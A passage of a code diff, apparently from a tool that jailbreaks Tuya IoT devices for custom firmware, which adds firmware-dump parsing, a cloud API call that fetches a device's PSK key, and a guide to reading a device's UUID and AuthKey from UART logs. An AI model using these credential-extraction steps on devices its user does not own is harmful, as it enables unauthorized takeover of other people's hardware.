||||
pycryptodome = {version = ">=3.9.9,<4.0.0", markers = "platform_machine not in \"armv6l,armv7l,armv8l,armv8b,aarch64\""}
|
||||
requests = ">=2.31.0,<3.0.0"
|
||||
semantic-version = ">=2.10.0,<3.0.0"
|
||||
xmodem = ">=0.4.6,<0.5.0"
|
||||
ymodem = ">=1.5.1,<2.0.0"
|
||||
|
||||
[package.extras]
|
||||
gui = ["pylnk3 (>=0.4.2,<0.5.0) ; sys_platform == \"win32\"", "pyuac (>=0.0.3,<0.0.4) ; sys_platform == \"win32\"", "pywin32 ; sys_platform == \"win32\"", "wxPython (>=4.2.0,<5.0.0)", "zeroconf (<=0.128.4)"]
|
||||
|
||||
[[package]]
|
||||
name = "ordered-set"
|
||||
version = "4.1.0"
|
||||
description = "An OrderedSet is a custom MutableSet that remembers its order, so that every"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "ordered-set-4.1.0.tar.gz", hash = "sha256:694a8e44c87657c59292ede72891eb91d34131f6531463aab3009191c77364a8"},
|
||||
{file = "ordered_set-4.1.0-py3-none-any.whl", hash = "sha256:046e1132c71fcf3330438a539928932caf51ddbc582496833e23de611de14562"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["black", "mypy", "pytest"]
|
||||
|
||||
[[package]]
|
||||
name = "prettytable"
|
||||
version = "3.11.0"
|
||||
description = "A simple Python library for easily displaying tabular data in a visually appealing ASCII table format"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "prettytable-3.11.0-py3-none-any.whl", hash = "sha256:aa17083feb6c71da11a68b2c213b04675c4af4ce9c541762632ca3f2cb3546dd"},
|
||||
{file = "prettytable-3.11.0.tar.gz", hash = "sha256:7e23ca1e68bbfd06ba8de98bf553bf3493264c96d5e8a615c0471025deeba722"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
wcwidth = "*"
|
||||
|
||||
[package.extras]
|
||||
tests = ["pytest", "pytest-cov", "pytest-lazy-fixtures"]
|
||||
|
||||
[[package]]
|
||||
name = "py-datastruct"
|
||||
version = "1.0.0"
|
||||
description = "Combination of struct and dataclasses for easy parsing of binary formats"
|
||||
optional = false
|
||||
python-versions = ">=3.7,<4.0"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "py_datastruct-1.0.0-py3-none-any.whl", hash = "sha256:4fb426956da3758f174054266cb100fb4d43907cf741b9890800aba4d6de8498"},
|
||||
{file = "py_datastruct-1.0.0.tar.gz", hash = "sha256:b606e6c2b83e8bb463ab42c375d01ff457cc2552b4326cd74897e7f3b96f1b6b"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyaes"
|
||||
version = "1.6.1"
|
||||
description = "Pure-Python Implementation of the AES block-cipher and common modes of operation"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
markers = "platform_machine in \"armv6l,armv7l,armv8l,armv8b,aarch64\""
|
||||
files = [
|
||||
{file = "pyaes-1.6.1.tar.gz", hash = "sha256:02c1b1405c38d3c370b085fb952dd8bea3fadcee6411ad99f312cc129c536d8f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pycryptodome"
|
||||
version = "3.20.0"
|
||||
description = "Cryptographic library for Python"
|
||||
optional = false
|
||||
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pycryptodome-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:f0e6d631bae3f231d3634f91ae4da7a960f7ff87f2865b2d2b831af1dfb04e9a"},
|
||||
{file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:baee115a9ba6c5d2709a1e88ffe62b73ecc044852a925dcb67713a288c4ec70f"},
|
||||
@@ -77,6 +427,7 @@ version = "3.5"
|
||||
description = "Python Serial Port Extension"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0"},
|
||||
{file = "pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb"},
|
||||
@@ -85,7 +436,124 @@ files = [
|
||||
[package.extras]
|
||||
cp2110 = ["hidapi"]
|
||||
|
||||
[[package]]
|
||||
name = "requests"
|
||||
version = "2.32.4"
|
||||
description = "Python HTTP for Humans."
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c"},
|
||||
{file = "requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
certifi = ">=2017.4.17"
|
||||
charset_normalizer = ">=2,<4"
|
||||
idna = ">=2.5,<4"
|
||||
urllib3 = ">=1.21.1,<3"
|
||||
|
||||
[package.extras]
|
||||
socks = ["PySocks (>=1.5.6,!=1.5.7)"]
|
||||
use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
|
||||
|
||||
[[package]]
|
||||
name = "semantic-version"
|
||||
version = "2.10.0"
|
||||
description = "A library implementing the 'SemVer' scheme."
|
||||
optional = false
|
||||
python-versions = ">=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "semantic_version-2.10.0-py2.py3-none-any.whl", hash = "sha256:de78a3b8e0feda74cabc54aab2da702113e33ac9d9eb9d2389bcf1f58b7d9177"},
|
||||
{file = "semantic_version-2.10.0.tar.gz", hash = "sha256:bdabb6d336998cbb378d4b9db3a4b56a1e3235701dc05ea2690d9a997ed5041c"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["Django (>=1.11)", "check-manifest", "colorama (<=0.4.1) ; python_version == \"3.4\"", "coverage", "flake8", "nose2", "readme-renderer (<25.0) ; python_version == \"3.4\"", "tox", "wheel", "zest.releaser[recommended]"]
|
||||
doc = ["Sphinx", "sphinx-rtd-theme"]
|
||||
|
||||
[[package]]
|
||||
name = "urllib3"
|
||||
version = "2.2.3"
|
||||
description = "HTTP library with thread-safe connection pooling, file post, and more."
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"},
|
||||
{file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""]
|
||||
h2 = ["h2 (>=4,<5)"]
|
||||
socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"]
|
||||
zstd = ["zstandard (>=0.18.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "wcwidth"
|
||||
version = "0.2.14"
|
||||
description = "Measures the displayed width of unicode strings in a terminal"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "wcwidth-0.2.14-py2.py3-none-any.whl", hash = "sha256:a7bb560c8aee30f9957e5f9895805edd20602f2d7f720186dfd906e82b4982e1"},
|
||||
{file = "wcwidth-0.2.14.tar.gz", hash = "sha256:4d478375d31bc5395a3c55c40ccdf3354688364cd61c4f6adacaa9215d0b3605"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmodem"
|
||||
version = "0.4.7"
|
||||
description = "XMODEM protocol implementation."
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "xmodem-0.4.7-py2.py3-none-any.whl", hash = "sha256:0842d2266175f01225053db721ea952b3f4b239cb3ace83c32b1daf90aa413af"},
|
||||
{file = "xmodem-0.4.7-py3-none-any.whl", hash = "sha256:e6a2c7608f7b187da786c47780f8407dbc4ac2d3dfeb34fe683cc19778f01360"},
|
||||
{file = "xmodem-0.4.7.tar.gz", hash = "sha256:2f1068aa8676f0d1d112498b5786c4f8ea4f89d8f25d07d3a0f293cd21db1c35"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ymodem"
|
||||
version = "1.5.1"
|
||||
description = "Ymodem Python3 implementation"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "ymodem-1.5.1-py3-none-any.whl", hash = "sha256:55fccfe7243e35bc96d70d6c8778f4ddd1a23f61ea5404cf30470cc5ffe900b3"},
|
||||
{file = "ymodem-1.5.1.tar.gz", hash = "sha256:e4373cd6c8d29629495dbffdd9ed187b07f27381231d55d3a137025320d5ce67"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
ordered-set = ">=4.1.0"
|
||||
pyserial = "*"
|
||||
|
||||
[[package]]
|
||||
name = "zipp"
|
||||
version = "3.20.2"
|
||||
description = "Backport of pathlib-compatible object wrapper for zip files"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "zipp-3.20.2-py3-none-any.whl", hash = "sha256:a817ac80d6cf4b23bf7f2828b7cabf326f15a001bea8b1f9b49631780ba28350"},
|
||||
{file = "zipp-3.20.2.tar.gz", hash = "sha256:bc9eb26f4506fda01b81bcde0ca78103b6e62f991b381fec825435c836edbc29"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
|
||||
cover = ["pytest-cov"]
|
||||
doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
|
||||
enabler = ["pytest-enabler (>=2.2)"]
|
||||
test = ["big-O", "importlib-resources ; python_version < \"3.9\"", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"]
|
||||
type = ["pytest-mypy"]
|
||||
|
||||
[metadata]
|
||||
lock-version = "2.0"
|
||||
python-versions = ">=3.8,<4.0"
|
||||
content-hash = "a522de938de15eb35fcdaf0192d1043b197535391791e52b8a13b1a72f5b41c6"
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.10,<4.0"
|
||||
content-hash = "27c094540c425b9756a183870b9ce4c71fb5ff7c1a2079387c0dd397c0bfbdaf"
|
||||
|
||||
@@ -4,9 +4,8 @@ from os.path import basename, dirname, exists
|
||||
|
||||
|
||||
def name_output_file(desired_appended_name):
|
||||
# File generated by bk7321tools dissect_dump
|
||||
if appcode_path.endswith('app_1.00_decrypted.bin'):
|
||||
return appcode_path.replace('app_1.00_decrypted.bin', desired_appended_name + ".txt")
|
||||
if appcode_path.endswith('active_app.bin'):
|
||||
return appcode_path.replace('active_app.bin', desired_appended_name + ".txt")
|
||||
return appcode_path + "_" + desired_appended_name + ".txt"
|
||||
|
||||
|
||||
@@ -73,6 +72,20 @@ def search_device_class_after_compiled_line():
|
||||
return ''
|
||||
|
||||
|
||||
def search_device_class_before_compiled_line():
|
||||
compiled_at_string = b'Base firmware: %s:%s compiled at Date:%s Time:%s'
|
||||
offset = appcode.find(compiled_at_string, 0)
|
||||
if offset == -1:
|
||||
return ''
|
||||
offset -= 2
|
||||
for _ in range(4):
|
||||
after = read_between_null_or_newline(offset)
|
||||
offset += len(after) + 1
|
||||
if after.count('_') > 0 and after.count(' ') == 0:
|
||||
return after
|
||||
return ''
|
||||
|
||||
|
||||
def search_device_class_after_chipid(chipid: str):
|
||||
chipid_string = b'\0' + bytes(chipid, 'utf-8') + b'\0'
|
||||
offset = appcode.find(chipid_string, 0)
|
||||
@@ -87,6 +100,20 @@ def search_device_class_after_chipid(chipid: str):
|
||||
return ''
|
||||
|
||||
|
||||
def search_device_class_after_swv(swv: str):
|
||||
swv_string = b'\0' + bytes(swv, 'utf-8') + b'\0'
|
||||
offset = appcode.find(swv_string, 0)
|
||||
if offset == -1:
|
||||
return ''
|
||||
offset += len(swv_string) + 1
|
||||
for _ in range(3):
|
||||
after = read_between_null_or_newline(offset)
|
||||
offset += len(after) + 1
|
||||
if after.count('_') > 0 and after.count('__') == 0 and after.count(' ') == 0:
|
||||
return after
|
||||
return ''
|
||||
|
||||
|
||||
def search_swv_after_compiled_line():
|
||||
compiled_at_string = b'**********[%s] [%s] compiled at %s %s**********'
|
||||
offset = appcode.find(compiled_at_string, 0)
|
||||
@@ -114,6 +141,19 @@ def search_swv_after_device_class(device_class):
|
||||
return ''
|
||||
|
||||
|
||||
def search_swv_before_device_class(device_class):
|
||||
offset = appcode.find(bytes(device_class, 'utf-8'), 0)
|
||||
if offset == -1:
|
||||
return ''
|
||||
offset -= 2
|
||||
for _ in range(4):
|
||||
after = read_between_null_or_newline(offset)
|
||||
offset += len(after) + 1
|
||||
if after.count('.') > 1:
|
||||
return after
|
||||
return ''
|
||||
|
||||
|
||||
def search_key():
|
||||
# This will only find keys with the "key" prefix.
|
||||
# There are some non-standard ones out there that
|
||||
@@ -128,13 +168,32 @@ def dump():
|
||||
global base_name, base_folder
|
||||
base_name = basename(appcode_path)[:-23]
|
||||
base_folder = dirname(appcode_path)
|
||||
sdk_line = ''
|
||||
sdk_string = ''
|
||||
if b'< TUYA IOT SDK' in appcode:
|
||||
sdk_line = read_until_null_or_newline(appcode.index(b'< TUYA IOT SDK'))
|
||||
sdk_version = sdk_line.split()[4].split(':')[1]
|
||||
print(f"[+] SDK: {sdk_version}")
|
||||
with open(name_output_file("sdk"), 'w') as f:
|
||||
sdk_string = read_until_null_or_newline(appcode.index(b'< TUYA IOT SDK'))
|
||||
sdk_version = sdk_string.split()[4].split(':')[1]
|
||||
with open(name_output_file("sdk_version"), 'w') as f:
|
||||
f.write(sdk_version)
|
||||
with open(name_output_file("sdk_string"), 'w') as f:
|
||||
f.write(sdk_string)
|
||||
sdk_build_at = read_until_null_or_newline(appcode.index(b'< BUILD AT:'))
|
||||
with open(name_output_file("sdk_build_at"), 'w') as f:
|
||||
f.write(sdk_build_at)
|
||||
print(f"[+] SDK Version: {sdk_version}")
|
||||
print(f"[+] SDK String: {sdk_string}")
|
||||
print(f"[+] SDK Build At: {sdk_build_at}")
|
||||
elif b'\x002.3.0\x00' in appcode and b'\x002.5.2\x00' in appcode:
|
||||
# Fix for a single case where there is no sdk line, but we know the version
|
||||
sdk_version = '2.3.0'
|
||||
print(f"[+] SDK: {sdk_version}")
|
||||
with open(name_output_file("sdk_version"), 'w') as f:
|
||||
f.write(sdk_version)
|
||||
|
||||
swv = None
|
||||
# If swv from storage load it, otherwise search for it to use for device class searching.
|
||||
if exists(name_output_file("swv")):
|
||||
with open(name_output_file("swv"), 'r') as f:
|
||||
swv = f.read().strip()
|
||||
|
||||
device_class_search_keys = [
|
||||
b'oem_bk7231s_',
|
||||
@@ -142,7 +201,10 @@ def dump():
|
||||
b'bk7231s_',
|
||||
b'oem_bk7231n_',
|
||||
b'bk7231n_common_',
|
||||
b'_common_ty'
|
||||
b'_common_ty',
|
||||
b'rtl8720cf_common_',
|
||||
b'_common_lock_ty',
|
||||
b'_common_user_config_ty',
|
||||
]
|
||||
|
||||
device_class = ''
|
||||
@@ -154,12 +216,18 @@ def dump():
|
||||
|
||||
if device_class == '':
|
||||
device_class = search_device_class_after_compiled_line()
|
||||
if device_class == '':
|
||||
device_class = search_device_class_before_compiled_line()
|
||||
if device_class == '':
|
||||
device_class = search_device_class_after_chipid("bk7231n")
|
||||
if device_class == '':
|
||||
device_class = search_device_class_after_chipid("BK7231NL")
|
||||
if device_class == '':
|
||||
device_class = search_device_class_after_chipid("bk7231t")
|
||||
if device_class == '':
|
||||
device_class = search_device_class_after_chipid("rtl8720cf_ameba")
|
||||
if device_class == '' and swv is not None:
|
||||
device_class = search_device_class_after_swv(swv)
|
||||
|
||||
if device_class != '':
|
||||
print(f"[+] Device class: {device_class}")
|
||||
@@ -183,23 +251,26 @@ def dump():
|
||||
else:
|
||||
print("[!] Unable to determine device class, please open an issue and include the bin file.")
|
||||
|
||||
# If swv doesn't exist from storage
|
||||
if exists(name_output_file("swv")) == False:
|
||||
# If swv doesn't exist from storage loaded above
|
||||
if swv is None:
|
||||
swv = search_swv_after_compiled_line()
|
||||
if swv == '':
|
||||
swv = search_swv_after_device_class(device_class)
|
||||
if swv == '':
|
||||
swv = search_swv_before_device_class(device_class)
|
||||
if swv != '':
|
||||
print(f"[+] Version: {swv}")
|
||||
with open(name_output_file("swv"), 'w') as f:
|
||||
f.write(swv)
|
||||
|
||||
# If bv doesn't exist from storage
|
||||
if exists(name_output_file("bv")) == False:
|
||||
bv = sdk_line.split()[5].split('_')[0].split(':')[1]
|
||||
if bv is not None and bv != '':
|
||||
print(f"[+] bv: {bv}")
|
||||
with open(name_output_file("bv"), 'w') as f:
|
||||
f.write(bv)
|
||||
if exists(name_output_file("bv")) == False and sdk_string != '':
|
||||
for sdk_part in re.split(r'[ _\s]+', sdk_string):
|
||||
if sdk_part.startswith('BS:'):
|
||||
bv = sdk_part.split(':')[1]
|
||||
print(f"[+] bv: {bv}")
|
||||
with open(name_output_file("bv"), 'w') as f:
|
||||
f.write(bv)
|
||||
|
||||
# If key doesn't exist from storage
|
||||
if exists(name_output_file("firmware_key")) == False:
|
||||
|
||||
@@ -10,7 +10,7 @@ def write_file(key, value: str):
|
||||
except:
|
||||
return
|
||||
|
||||
def dump(file):
|
||||
def dump(file, process_inactive_app: bool = False):
|
||||
with open(file, "r") as storage_file:
|
||||
storage = json.load(storage_file)
|
||||
global base_name, base_folder
|
||||
@@ -32,24 +32,15 @@ def dump(file):
|
||||
write_file("factory_pin", factory_pin)
|
||||
# Not all firmwares have version information in storage
|
||||
if 'gw_di' in storage:
|
||||
if 'swv' in storage['gw_di']:
|
||||
if 'swv' in storage['gw_di'] and not process_inactive_app:
|
||||
print(f"[+] storage swv: {storage['gw_di']['swv']}")
|
||||
write_file("swv", storage['gw_di']['swv'])
|
||||
else:
|
||||
print(f"[+] storage swv: 0.0.0")
|
||||
write_file("swv", "0.0.0")
|
||||
if 'dev_swv' in storage['gw_di']:
|
||||
if 'dev_swv' in storage['gw_di'] and not process_inactive_app:
|
||||
print(f"[+] storage dev_swv: {storage['gw_di']['dev_swv']}")
|
||||
write_file("mcuswv", storage['gw_di']['dev_swv'])
|
||||
else:
|
||||
print(f"[+] storage dev_swv: 0.0.0")
|
||||
write_file("mcuswv", "0.0.0")
|
||||
if 'bv' in storage['gw_di']:
|
||||
if 'bv' in storage['gw_di'] and not process_inactive_app:
|
||||
print(f"[+] storage bv: {storage['gw_di']['bv']}")
|
||||
write_file("bv", storage['gw_di']['bv'])
|
||||
else:
|
||||
print(f"[+] storage bv: 0.0.0")
|
||||
write_file("bv", "0.0.0")
|
||||
if 'firmk' in storage['gw_di'] and storage['gw_di']['firmk'] is not None:
|
||||
firmware_key = storage['gw_di']['firmk']
|
||||
print(f"[+] firmware key: {firmware_key}")
|
||||
@@ -76,17 +67,17 @@ def dump(file):
|
||||
write_file("manually_process", "No version or key stored, manual lookup required")
|
||||
|
||||
|
||||
def run(storage_file: str):
|
||||
def run(storage_file: str, process_inactive_app: bool = False):
|
||||
if not storage_file:
|
||||
print('Usage: python parse_storage.py <storage.json file>')
|
||||
sys.exit(1)
|
||||
|
||||
if os.path.exists(storage_file):
|
||||
dump(storage_file)
|
||||
dump(storage_file, process_inactive_app)
|
||||
else:
|
||||
print('[!] Storage file not found')
|
||||
return
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
run(sys.argv[1])
|
||||
run(sys.argv[1], sys.argv[2])
|
||||
|
||||
@@ -49,7 +49,7 @@ def print_and_exit(printText):
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
def build_params(epoch_time, uuid):
|
||||
def build_params_active(epoch_time, uuid):
|
||||
params = {
|
||||
"a": "tuya.device.active",
|
||||
"et": 1,
|
||||
@@ -61,7 +61,7 @@ def build_params(epoch_time, uuid):
|
||||
return params
|
||||
|
||||
|
||||
def build_data(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version='40.00', cad_version='1.0.2', cd_version='1.0.0', protocol_version='2.2', is_fk: bool = True):
|
||||
def build_data_active(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version='40.00', cad_version='1.0.2', cd_version='1.0.0', protocol_version='2.2', is_fk: bool = True):
|
||||
data = {
|
||||
'token': reduced_token,
|
||||
'softVer': software_version,
|
||||
@@ -82,6 +82,26 @@ def build_data(epoch_time, reduced_token, firmware_key, product_key, software_ve
|
||||
return data
|
||||
|
||||
|
||||
def build_params_psk(epoch_time, uuid):
|
||||
params = {
|
||||
"a": "tuya.device.uuid.pskkey.get",
|
||||
"et": 1,
|
||||
"t": epoch_time,
|
||||
"uuid": uuid,
|
||||
"v": "1.0",
|
||||
}
|
||||
|
||||
return params
|
||||
|
||||
|
||||
def build_data_psk(epoch_time):
|
||||
data = {
|
||||
't': epoch_time,
|
||||
}
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def get_new_token():
|
||||
print('[!] No token provided.')
|
||||
print("[!] On any device on the same network/vlan as your device running this script, please log into the Smart Life app ('Try as Guest' works fine if you do not already have an account)")
|
||||
@@ -186,9 +206,10 @@ def run(directory: str, output_file_prefix: str, uuid: str, auth_key: str, firmw
|
||||
connection = TuyaAPIConnection(uuid, auth_key)
|
||||
url = f"http://a.tuya{region}.com/d.json"
|
||||
epoch_time = int(time.time())
|
||||
params = build_params(epoch_time, uuid)
|
||||
response = None
|
||||
requestType = "POST"
|
||||
response = None
|
||||
|
||||
active_params = build_params_active(epoch_time, uuid)
|
||||
|
||||
responseCodesToContinueAter = ['FIRMWARE_NOT_MATCH', 'APP_PRODUCT_UNSUPPORT', 'NOT_EXISTS']
|
||||
|
||||
@@ -196,22 +217,22 @@ def run(directory: str, output_file_prefix: str, uuid: str, auth_key: str, firmw
|
||||
product_key = factory_pin
|
||||
|
||||
if product_key is not None:
|
||||
data = build_data(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
|
||||
response = connection.request(url, params, data, requestType)
|
||||
data = build_data_active(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
|
||||
response = connection.request(url, active_params, data, requestType)
|
||||
|
||||
if response["success"] == False and response["errorCode"] in responseCodesToContinueAter:
|
||||
data = build_data(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
|
||||
response = connection.request(url, params, data, requestType)
|
||||
data = build_data_active(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
|
||||
response = connection.request(url, active_params, data, requestType)
|
||||
|
||||
if response["success"] == False:
|
||||
if product_key != firmware_key:
|
||||
if (response is None or (response is not None and response["success"] == False and response["errorCode"] != "EXPIRE")) and firmware_key is not None:
|
||||
data = build_data(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
|
||||
response = connection.request(url, params, data, requestType)
|
||||
data = build_data_active(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
|
||||
response = connection.request(url, active_params, data, requestType)
|
||||
|
||||
if response["success"] == False and response["errorCode"] in responseCodesToContinueAter:
|
||||
data = build_data(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
|
||||
response = connection.request(url, params, data, requestType)
|
||||
data = build_data_active(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
|
||||
response = connection.request(url, active_params, data, requestType)
|
||||
|
||||
if response["success"] == True:
|
||||
print(f"[+] Schema Id: {response['result']['schemaId']}")
|
||||
@@ -233,6 +254,20 @@ def run(directory: str, output_file_prefix: str, uuid: str, auth_key: str, firmw
|
||||
else:
|
||||
print(response)
|
||||
|
||||
psk_params = build_params_psk(epoch_time, uuid)
|
||||
data = build_data_psk(epoch_time)
|
||||
response = connection.request(url, psk_params, data, requestType)
|
||||
|
||||
if response["success"] == True:
|
||||
#print(response)
|
||||
print("[+] PSK Key: " + response['result']['pskKey'])
|
||||
with open(os.path.join(directory, output_file_prefix + "_psk_key.txt"), 'w') as f:
|
||||
f.write(response['result']['pskKey'])
|
||||
elif response["success"] == False and response["errorCode"] == 'EXPIRE':
|
||||
print("[!] The token provided has either expired, or you are connected to the wrong region")
|
||||
else:
|
||||
print(response)
|
||||
|
||||
|
||||
def run_input(uuid, auth_key, firmware_key, product_key, factory_pin, software_version, mcu_software_version, baseline_version='40.00', cad_version='1.0.2', cd_version='1.0.0', protocol_version='2.2', token=None):
|
||||
run('.\\', 'device', uuid, auth_key, firmware_key, product_key, factory_pin, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, token)
|
||||
|
||||
@@ -6,8 +6,9 @@ authors = ["Cossid"]
|
||||
readme = "README.md"
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = ">=3.8,<4.0"
|
||||
python = ">=3.10,<4.0"
|
||||
bk7231tools = {extras = ["cli"], version = ">=1.3.0"}
|
||||
ltchiptool = {extras = ["cli"], version = "^4.12.2"}
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core"]
|
||||
|
||||
37
running-with-known-secrets.md
Normal file
37
running-with-known-secrets.md
Normal file
@@ -0,0 +1,37 @@
|
||||
# Running with known secrets
|
||||
|
||||
## Why would this be useful?
|
||||
|
||||
If you have a device that would normally require serial flashing (patched devices), but you don't have access to all the bootstrapping pins (common on RTL8720CF), but can access TX2 and GND (minimum needed to read UART logs).
|
||||
|
||||
## When can I use this?
|
||||
|
||||
You can only use this method if you know
|
||||
|
||||
- AuthKey (32 characters if from Tuya, 16 characters if overridden by CloudCutter)
|
||||
- UUID (16 characters if from Tuya, 12 characters if overridden by CloudCutter)
|
||||
- PSKKey (37 characters if from Tuya, empty string if overridden by CloudCutter)
|
||||
|
||||
## How can I find the secrets necessary?
|
||||
|
||||
- UUID - This can be found one of two ways:
|
||||
- Via iot tuya account, similar to finding the local/secret keys via the instructions from [Tiny Tuya](https://github.com/jasonacox/tinytuya#setup-wizard---getting-local-keys) method 3 - Tuya Account
|
||||
- Via uart logging (not all devices)
|
||||
- AuthKey
|
||||
- Via uart logging (not all devices)
|
||||
- PSKKey
|
||||
- Via API, included when running profile-building's `pull_schema` (requires a Tuya token, see instructions included with script). Requires already having UUID and AuthKey
|
||||
|
||||
## Finding secrets via UART logging
|
||||
|
||||
Some devices will output a string on their UART logging (usually on UART_LOG_TX / TX2 [Pin P0 on Beken, Pin PA16 on RTL8720CF])
|
||||
|
||||
Look for a logged line that has a group of 3 strings with random characters that looks something like `upd product_id type:1 keyxxxxxxxxxxxxx abcd1234e5566f78 6W9ckhSD4v1PB8Jwk8O1OVoiTzsdyLh7`.
|
||||
|
||||
- The first string of 16 characters is either the Firmware Key, Product Key, or Factory Pin. This isn't needed, but helpful for identifying the pattern for the other two fields.
|
||||
- The second string of 16 characters is the UUID. It will consist of numbers and lower case letters (usually just a-f, but not guaranteed).
|
||||
- The third string of 32 characters is the AuthKey. It will consist of numbers and both upper and lower case letters. This is currently the only known way to find this value.
|
||||
|
||||
## I have all the needed secrets, how do I proceed?
|
||||
|
||||
You can proceed by running CloudCutter with the `-a` (AuthKey), `-u` (UUID), and `-k` (PSKKey) parameters. A profile is still necessary to help verify the available firmware to flash, but the exploit is not needed or run if you provide all three fields.
|
||||
@@ -101,7 +101,6 @@ def __configure_local_device_or_update_firmware(args, update_firmware: bool = Fa
|
||||
flash_timeout = 15
|
||||
if args.flash_timeout is not None:
|
||||
flash_timeout = args.flash_timeout
|
||||
mqtt.mqtt_connect(device_id, local_key, tornado.ioloop.IOLoop.current(), graceful_exit_timeout=flash_timeout, verbose_output=args.verbose_output)
|
||||
|
||||
with open(args.profile, "r") as f:
|
||||
combined = json.load(f)
|
||||
@@ -109,6 +108,7 @@ def __configure_local_device_or_update_firmware(args, update_firmware: bool = Fa
|
||||
|
||||
def trigger_payload_endpoint_hook(handler, *_):
|
||||
if update_firmware:
|
||||
mqtt.mqtt_connect(device_id, local_key, tornado.ioloop.IOLoop.current(), graceful_exit_timeout=flash_timeout, verbose_output=args.verbose_output)
|
||||
task_function = __trigger_firmware_update
|
||||
task_args = (config, args)
|
||||
else:
|
||||
@@ -214,21 +214,32 @@ def __update_firmware(args):
|
||||
print(f"Firmware {args.firmware} does not exist or not a file.", file=sys.stderr)
|
||||
sys.exit(50)
|
||||
|
||||
UG_FILE_MAGIC = b"\x55\xAA\x55\xAA"
|
||||
FILE_MAGIC_DICT = {
|
||||
b"RBL\x00": "RBL",
|
||||
b"\x43\x09\xb5\x96": "QIO",
|
||||
b"\x2f\x07\xb5\x94": "UA"
|
||||
b"\x2f\x07\xb5\x94": "UA",
|
||||
